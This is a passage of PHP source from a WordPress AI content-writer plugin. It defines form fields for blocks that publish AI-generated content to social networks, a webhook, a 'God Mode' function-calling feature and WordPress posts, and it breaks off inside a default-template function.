'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set the caption of the Facebook image', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the caption of the Facebook image. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.', 'aiomatic-automatic-ai-content-writer') ) ) ]; $block_types['send_image_instagram'] = [ 'id' => 'send_image_instagram', 'name' => 'Send Image To Instagram', 'category' => esc_html__(' - Content Saving Blocks', 'aiomatic-automatic-ai-content-writer'), 'required_plugin' => array('instamatic-instagram-post-generator/instamatic-instagram-post-generator.php' => array('iMediamatic - Social Media Poster', 'https://1.envato.market/instamatic')), 'description' => esc_html__('Sends posts to Instagram pages', 'aiomatic-automatic-ai-content-writer'), 'type' => 'save', 'shortcodes' => array(), 'parameters' => array( 'image_link' => array( 'type' => 'url', 'title' => esc_html__('Image URL', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set the URL of the Instagram image post', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the URL of the Instagram image post. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.', 'aiomatic-automatic-ai-content-writer') ), 'post_template' => array( 'type' => 'textarea', 'title' => esc_html__('Image Text', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set the text of the Instagram image', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the text of the Instagram image. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.', 'aiomatic-automatic-ai-content-writer') ) ) ]; $block_types['send_image_pinterest'] = [ 'id' => 'send_image_pinterest', 'name' => 'Send Image To Pinterest', 'category' => esc_html__(' - Content Saving Blocks', 'aiomatic-automatic-ai-content-writer'), 'required_plugin' => array('pinterestomatic-pinterest-post-generator/pinterestomatic-pinterest-post-generator.php' => array('Pinterestomatic - Social Media Poster', 'https://1.envato.market/pinterestomatic')), 'description' => esc_html__('Sends pins to Pinterest boards', 'aiomatic-automatic-ai-content-writer'), 'type' => 'save', 'shortcodes' => array(), 'parameters' => array( 'page_to_post' => array( 'type' => 'pinterest_board_selector', 'title' => esc_html__('Board Where to Publish Pins', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'description' => esc_html__('Select the board associated with your account, where you want to publish your pins.', 'aiomatic-automatic-ai-content-writer') ), 'image_link' => array( 'type' => 'url', 'title' => esc_html__('Image URL', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set the URL of the Pinterest image post', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the URL of the Pinterest image post. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.', 'aiomatic-automatic-ai-content-writer') ), 'post_title' => array( 'type' => 'textarea', 'title' => esc_html__('Pin Title', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set the title of the Pinterest pin', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the title of the Pinterest pin. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.', 'aiomatic-automatic-ai-content-writer') ), 'post_template' => array( 'type' => 'textarea', 'title' => esc_html__('Pin Description', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set the description of the Pinterest pin', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the description of the Pinterest pin. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.', 'aiomatic-automatic-ai-content-writer') ), 'pin_me' => array( 'type' => 'url', 'title' => esc_html__('Pin URL', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set the URL of the Pinterest pin', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the URL of the Pinterest pin. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.', 'aiomatic-automatic-ai-content-writer') ) ) ]; $block_types['send_twitter'] = [ 'id' => 'send_twitter', 'name' => 'Send To X (Twitter)', 'category' => esc_html__(' - Content Saving Blocks', 'aiomatic-automatic-ai-content-writer'), 'required_plugin' => array('twitomatic-twitter-post-generator/twitomatic-twitter-post-generator.php' => array('Twitomatic Automatic Post Generator', 'https://1.envato.market/twitomatic')), 'description' => esc_html__('Sends posts to X (Twitter) pages', 'aiomatic-automatic-ai-content-writer'), 'type' => 'save', 'shortcodes' => array(), 'parameters' => array( 'post_template' => array( 'type' => 'textarea', 'title' => esc_html__('X (Twitter) Post Template', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set the main X (Twitter) post content', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the main X (Twitter) post content. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.', 'aiomatic-automatic-ai-content-writer') ), 'featured_image' => array( 'type' => 'url', 'title' => esc_html__('X (Twitter) Post Image URL', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set the link of the X (Twitter) post image', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the link of the X (Twitter) post image. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.', 'aiomatic-automatic-ai-content-writer') ) ) ]; $block_types['send_gmb'] = [ 'id' => 'send_gmb', 'name' => 'Send To Google My Business', 'category' => esc_html__(' - Content Saving Blocks', 'aiomatic-automatic-ai-content-writer'), 'required_plugin' => array('businessomatic-google-my-business-post-generator/businessomatic-google-my-business-post-generator.php' => array('Businessomatic Automatic Post Generator', 'https://1.envato.market/businessomatic')), 'description' => esc_html__('Sends posts to Google My Business pages', 'aiomatic-automatic-ai-content-writer'), 'type' => 'save', 'shortcodes' => array(), 'parameters' => array( 'page_to_post' => array( 'type' => 'gpb_page_selector', 'title' => esc_html__('Business Where to Publish Posts', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'description' => esc_html__('Select the business associated with your account, where you want to publish your posts.', 'aiomatic-automatic-ai-content-writer') ), 'post_template' => array( 'type' => 'textarea', 'title' => esc_html__('Google My Business Post Template', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set the main Google My Business post content', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the main Google My Business post content. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.', 'aiomatic-automatic-ai-content-writer') ), 'featured_image' => array( 'type' => 'url', 'title' => esc_html__('Google My Business Post Image URL', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set the link of the Google My Business post image', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the link of the Google My Business post image. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.', 'aiomatic-automatic-ai-content-writer') ) ) ]; $block_types['send_community_youtube'] = [ 'id' => 'send_community_youtube', 'name' => 'Send To YouTube Community', 'category' => esc_html__(' - Content Saving Blocks', 'aiomatic-automatic-ai-content-writer'), 'required_plugin' => array('youtubomatic-youtube-post-generator/youtubomatic-youtube-post-generator.php' => array('Youtubomatic Automatic Post Generator', 'https://1.envato.market/youtubomatic')), 'description' => esc_html__('Sends posts to YouTube Community pages', 'aiomatic-automatic-ai-content-writer'), 'type' => 'save', 'shortcodes' => array(), 'parameters' => array( 'post_template' => array( 'type' => 'textarea', 'title' => esc_html__('YouTube Community Post Template', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set the main YouTube Community post content', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the main YouTube Community post content. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.', 'aiomatic-automatic-ai-content-writer') ), 'featured_image' => array( 'type' => 'url', 'title' => esc_html__('YouTube Community Post Image URL', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set the link of the post image', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the link of the YouTube Community post image. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.', 'aiomatic-automatic-ai-content-writer') ), 'send_type' => array( 'type' => 'yt_community_selector', 'title' => esc_html__('YouTube Community Post Type', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'description' => esc_html__('Set the YouTube Community post type.', 'aiomatic-automatic-ai-content-writer') ) ) ]; $block_types['send_reddit'] = [ 'id' => 'send_reddit', 'name' => 'Send To Reddit', 'category' => esc_html__(' - Content Saving Blocks', 'aiomatic-automatic-ai-content-writer'), 'required_plugin' => array('redditomatic-reddit-post-generator/redditomatic-reddit-post-generator.php' => array('Redditomatic Automatic Post Generator', 'https://1.envato.market/redditomatic')), 'description' => esc_html__('Sends posts to Reddit subreddits', 'aiomatic-automatic-ai-content-writer'), 'type' => 'save', 'shortcodes' => array(), 'parameters' => array( 'subreddit_to_post' => array( 'type' => 'textarea', 'title' => esc_html__('Subreddits Where To Publish Posts', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set the subreddits where to publish the content (comma separated list)', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the subreddits where to publish the content (comma separated list).', 'aiomatic-automatic-ai-content-writer') ), 'title_template' => array( 'type' => 'textarea', 'title' => esc_html__('Reddit Post Title Template', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set the main Reddit post title', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the main Reddit post title. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.', 'aiomatic-automatic-ai-content-writer') ), 'post_template' => array( 'type' => 'textarea', 'title' => esc_html__('Reddit Post Content Template', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set the main Reddit post content', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the main Reddit post content. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.', 'aiomatic-automatic-ai-content-writer') ), 'send_type' => array( 'type' => 'reddit_selector', 'title' => esc_html__('Reddit Post Type', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'description' => esc_html__('Set the Reddit post type.', 'aiomatic-automatic-ai-content-writer') ) ) ]; $block_types['send_linkedin'] = [ 'id' => 'send_linkedin', 'name' => 'Send To LinkedIn', 'category' => esc_html__(' - Content Saving Blocks', 'aiomatic-automatic-ai-content-writer'), 'required_plugin' => array('linkedinomatic-linkedin-post-generator/linkedinomatic-linkedin-post-generator.php' => array('Linkedinomatic Auto Poster', 'https://1.envato.market/linkedinomatic')), 'description' => esc_html__('Sends posts to LinkedIn pages', 'aiomatic-automatic-ai-content-writer'), 'type' => 'save', 'shortcodes' => array(), 'parameters' => array( 'page_to_post' => array( 'type' => 'linkedin_page_selector', 'title' => esc_html__('Page Where to Publish Posts', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'description' => esc_html__('Select the page associated with your App ID, where you want to publish your posts.', 'aiomatic-automatic-ai-content-writer') ), 'post_title' => array( 'type' => 'textarea', 'title' => esc_html__('LinkedIn Post Title', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set the main LinkedIn post title', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the main LinkedIn post title. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.', 'aiomatic-automatic-ai-content-writer') ), 'post_link' => array( 'type' => 'url', 'title' => esc_html__('LinkedIn Post Link', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set the main LinkedIn post link', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the main LinkedIn post link. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.', 'aiomatic-automatic-ai-content-writer') ), 'post_description' => array( 'type' => 'textarea', 'title' => esc_html__('LinkedIn Post Description', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set the main LinkedIn post description', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the main LinkedIn post description. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.', 'aiomatic-automatic-ai-content-writer') ), 'attach_lnk' => array( 'type' => 'checkbox', 'title' => esc_html__('Attach Links To Created Posts', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'description' => esc_html__('Set if you want to attach links to created LinkedIn posts.', 'aiomatic-automatic-ai-content-writer') ), 'post_template' => array( 'type' => 'textarea', 'title' => esc_html__('LinkedIn Post Template', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set the main LinkedIn post content', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the main LinkedIn post content. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.', 'aiomatic-automatic-ai-content-writer') ), 'featured_image' => array( 'type' => 'url', 'title' => esc_html__('LinkedIn Post Image URL', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set the link of the LinkedIn post image', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the link of the LinkedIn post image. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.', 'aiomatic-automatic-ai-content-writer') ) ) ]; $block_types['send_webhook'] = [ 'id' => 'send_webhook', 'name' => 'Send To A Webhook', 'category' => esc_html__(' - Content Saving Blocks', 'aiomatic-automatic-ai-content-writer'), 'required_plugin' => array(), 'description' => esc_html__('Sends content to a webhook', 'aiomatic-automatic-ai-content-writer'), 'type' => 'save', 'shortcodes' => array(), 'parameters' => array( 'webhook_url' => array( 'type' => 'url', 'title' => esc_html__('Webhook URL', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set the webhook URL where to submit the content', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the webhook URL where to submit the content.', 'aiomatic-automatic-ai-content-writer') ), 'webhook_method' => array( 'type' => 'method_selector', 'title' => esc_html__('Method Selector', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'description' => esc_html__('Select the request method you want to use, when sending the data to the webhook.', 'aiomatic-automatic-ai-content-writer') ), 'content_type' => array( 'type' => 'content_type_selector', 'title' => esc_html__('Content Type', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'description' => esc_html__('Select the content type you want to send to the webhook. Possible values are JSON or Form Data.', 'aiomatic-automatic-ai-content-writer') ), 'post_template' => array( 'type' => 'textarea', 'title' => esc_html__('Content Template', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set the main webhook content', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the main webhook content. If you selected JSON type content, enter a valid JSON structure here. If you selected Form Data, enter the form data in this structure: key => value (add new key/value combinations on a new line). Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.', 'aiomatic-automatic-ai-content-writer') ), 'headers_template' => array( 'type' => 'textarea', 'title' => esc_html__('Headers Template', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set content headers (optional)', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set any headers to send with the webhook request. Enter the headers in this structure: key => value (add new key/value combinations on a new line). Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.', 'aiomatic-automatic-ai-content-writer') ) ) ]; $block_types['god_mode'] = [ 'id' => 'god_mode', 'name' => 'Send To A God Mode Function', 'category' => esc_html__(' - Content Saving Blocks', 'aiomatic-automatic-ai-content-writer'), 'required_plugin' => array(), 'description' => esc_html__('Sends content to a God Mode function, the AI can call any function from your WordPress site. Warning, this feature can be dangerous, use it only if you know what you are doing!', 'aiomatic-automatic-ai-content-writer'), 'type' => 'save', 'shortcodes' => array('god_mode_'), 'parameters' => array( 'prompt' => array( 'type' => 'textarea', 'title' => esc_html__('AI Prompt', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set the AI prompt which will be sent to the God Mode parser', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the AI prompt which will be sent to the God Mode parser. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported. You should add here specific instructions on what feature of the God Mode (WordPress functions) should be called by the AI.', 'aiomatic-automatic-ai-content-writer') ), 'assistant_id' => array( 'type' => 'assistant_select', 'title' => esc_html__('AI Assistant', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'description' => esc_html__('Select the AI Assistant to be used with the AI God Mode parser. If you select an assistant, a model cannot be selected any more, but instead, the model assigned to the assistant will be used. Also, the AI Assistant needs to have the God Mode function enabled in its settings.', 'aiomatic-automatic-ai-content-writer') ), 'model' => array( 'type' => 'model_select_function', 'title' => esc_html__('AI Model', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'description' => esc_html__('Select the model to be used with the AI God Mode parser. Only models which support function calling are listed here.', 'aiomatic-automatic-ai-content-writer') ) ) ]; $block_types['save_post'] = [ 'id' => 'save_post', 'name' => 'Save Post To WordPress', 'category' => esc_html__(' - Content Saving Blocks', 'aiomatic-automatic-ai-content-writer'), 'required_plugin' => array(), 'description' => esc_html__('Saves the AI created data as a WordPress post', 'aiomatic-automatic-ai-content-writer'), 'type' => 'save', 'shortcodes' => array('created_post_id_', 'created_post_url_'), 'parameters' => array( 'post_title' => array( 'type' => 'text', 'title' => esc_html__('Post Title', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set the title of the post to be created', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the title of the post to be created. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.', 'aiomatic-automatic-ai-content-writer') ), 'post_content' => array( 'type' => 'textarea', 'title' => esc_html__('Post Content', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set the content of the post to be created', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the content of the post to be created. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.', 'aiomatic-automatic-ai-content-writer') ), 'post_excerpt' => array( 'type' => 'textarea', 'title' => esc_html__('Post Excerpt', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set the excerpt of the post', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the excerpt of the post to be created. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported.', 'aiomatic-automatic-ai-content-writer') ), 'post_slug' => array( 'type' => 'text', 'title' => esc_html__('Post Slug', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set the slug of the post', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the slug of the post (the post URL/name). If you leave this field blank, WordPress will automatically generate the slug of the post from the post tile. Any text that you enter here will be URL encoded, to be compatible with slug creation. The length of the slug should not exceed 200 characters.', 'aiomatic-automatic-ai-content-writer') ), 'post_author' => array( 'type' => 'number', 'title' => esc_html__('Post Author ID', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '1', 'placeholder' => esc_html__('Set the numeric ID of the author of the post', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Select the numeric ID of the author that you want to assign for the automatically generated posts.', 'aiomatic-automatic-ai-content-writer') ), 'post_status' => array( 'type' => 'status_selector', 'title' => esc_html__('Post Status', 'aiomatic-automatic-ai-content-writer'), 'default_value' => 'publish', 'description' => esc_html__('Select the status that you want for the automatically generated posts to have.', 'aiomatic-automatic-ai-content-writer') ), 'post_type' => array( 'type' => 'type_selector', 'title' => esc_html__('Post Type', 'aiomatic-automatic-ai-content-writer'), 'default_value' => 'post', 'description' => esc_html__('Select the type (post/page) for your automatically generated item.', 'aiomatic-automatic-ai-content-writer') ), 'post_format' => array( 'type' => 'format_selector', 'title' => esc_html__('Post Format', 'aiomatic-automatic-ai-content-writer'), 'default_value' => 'post-format-standard', 'description' => esc_html__('If your template supports \'Post Formats\', than you can select one here. If not, leave this at it\'s default value.', 'aiomatic-automatic-ai-content-writer') ), 'post_parent' => array( 'type' => 'number', 'title' => esc_html__('Post Parent', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set the ID of the parent of created posts', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the ID of the parent of created posts. This is useful for BBPress integration, to assign forum IDs for created topics or for other similar functionalities.', 'aiomatic-automatic-ai-content-writer') ), 'post_comments' => array( 'type' => 'checkbox', 'title' => esc_html__('Enable Comments', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '1', 'description' => esc_html__('Do you want to enable comments for the generated posts?', 'aiomatic-automatic-ai-content-writer') ), 'post_pingbacks' => array( 'type' => 'checkbox', 'title' => esc_html__('Enable Pingbacks/Trackbacks', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '1', 'description' => esc_html__('Do you want to enable pingbacks/trackbacks for the generated posts?', 'aiomatic-automatic-ai-content-writer') ), 'post_date' => array( 'type' => 'text', 'title' => esc_html__('Post Date Range', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Do you want to set a custom post publish date for posts?', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Do you want to set a custom post publish date for posts? Set the range in the below field. You can set dates in the following format (a random date will be selected from the range): date1 ~ date2. If you don\'t use the ~ character, the date will be considered as a single date string.', 'aiomatic-automatic-ai-content-writer') ), 'post_custom_fields' => array( 'type' => 'textarea', 'title' => esc_html__('Custom Fields', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('custom_field_name1 => custom_field_value1, custom_field_name2 => custom_field_value2', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the custom fields that will be set for generated posts. The syntax for this field is the following: custom_field_name1 => custom_field_value1, custom_field_name2 => custom_field_value2', 'aiomatic-automatic-ai-content-writer') ), 'post_custom_taxonomies' => array( 'type' => 'textarea', 'title' => esc_html__('Custom Taxonomies', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('custom_taxonomy_name1 => custom_taxonomy_value1A, custom_taxonomy_value1B; custom_taxonomy_name2 => custom_taxonomy_value2A, custom_taxonomy_value2B', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the custom taxonomies that will be set for generated posts. The syntax for this field is the following: custom_taxonomy_name1 => custom_taxonomy_value1A, custom_taxonomy_value1B; custom_taxonomy_name2 => custom_taxonomy_value2A, custom_taxonomy_value2B . You can also set hierarhical taxonomies (parent > child), in this format: custom_taxonomy_name => parent1 > child1 . ', 'aiomatic-automatic-ai-content-writer') ), 'post_lang' => array( 'type' => 'text', 'title' => esc_html__('WPML/Polylang Language', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('en', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Enter a 2 letter language code that will be assigned as the WPML/Polylang language for posts. Example: for German, input: de', 'aiomatic-automatic-ai-content-writer') ), 'post_categories' => array( 'type' => 'text', 'title' => esc_html__('Post Categories', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Category1, Category2, Category3', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Add a comma separated list of categories to set for posts.', 'aiomatic-automatic-ai-content-writer') ), 'post_tags' => array( 'type' => 'text', 'title' => esc_html__('Post Tags', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Tag1, Tag2, Tag3', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Add a comma separated list of tags to set for posts.', 'aiomatic-automatic-ai-content-writer') ), 'featured_image' => array( 'type' => 'text', 'title' => esc_html__('Featured Image', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Set the featured image of the post to be created', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Set the featured image of the post to be created. Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes supported. You can also use the numeric IDs of Media Library attachments.', 'aiomatic-automatic-ai-content-writer') ), 'content_regex' => array( 'type' => 'textarea', 'title' => esc_html__('Run Regex On Content', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Regex expression', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Run regex on post content. To disable this feature, leave this field blank. No Regex separators are required here. You can add multiple Regex expressions, each on a different line.', 'aiomatic-automatic-ai-content-writer') ), 'replace_regex' => array( 'type' => 'textarea', 'title' => esc_html__('Replace Matches From Regex', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Regex replacement', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Replace the above regex matches with this regex expression. If you want to strip matched content, leave this field blank. No Regex separators are required here. You can add multiple replacement expressions, each on a different line.', 'aiomatic-automatic-ai-content-writer') ), 'overwrite_existing' => array( 'type' => 'checkbox', 'title' => esc_html__('Overwrite Existing Posts', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'description' => esc_html__('Select if you want to overwrite existing posts during the publishing process.', 'aiomatic-automatic-ai-content-writer') ), 'post_id' => array( 'type' => 'text', 'title' => esc_html__('Post ID (Optional)', 'aiomatic-automatic-ai-content-writer'), 'default_value' => '', 'placeholder' => esc_html__('Update an existing post ID (optional)', 'aiomatic-automatic-ai-content-writer'), 'description' => esc_html__('Update an existing post ID (optional)', 'aiomatic-automatic-ai-content-writer') ) ) ]; return $block_types; } add_filter('aiomniblocks_block_types', 'aiomatic_add_block_types'); function aiomatic_omniblocks_default_cards() { $def = get_option('aiomatic_dafault_omni_template', false); if(!empty($def)) { $aiomatic_theme = get_post(sanitize_text_field($def)); if($aiomatic_theme !== null && $aiomatic_theme !== 0) { $default_json = json_decode($aiomatic_theme->post_content, true); if(!empty($default_json)) { return apply_filters('aiomniblocks_block_defaults', $default_json); } } } return apply_filters('aiomniblocks_block_defaults', [ [ 'identifier' => '1', 'name' => 'Create a post title for a keyword', 'type' => 'ai_text', 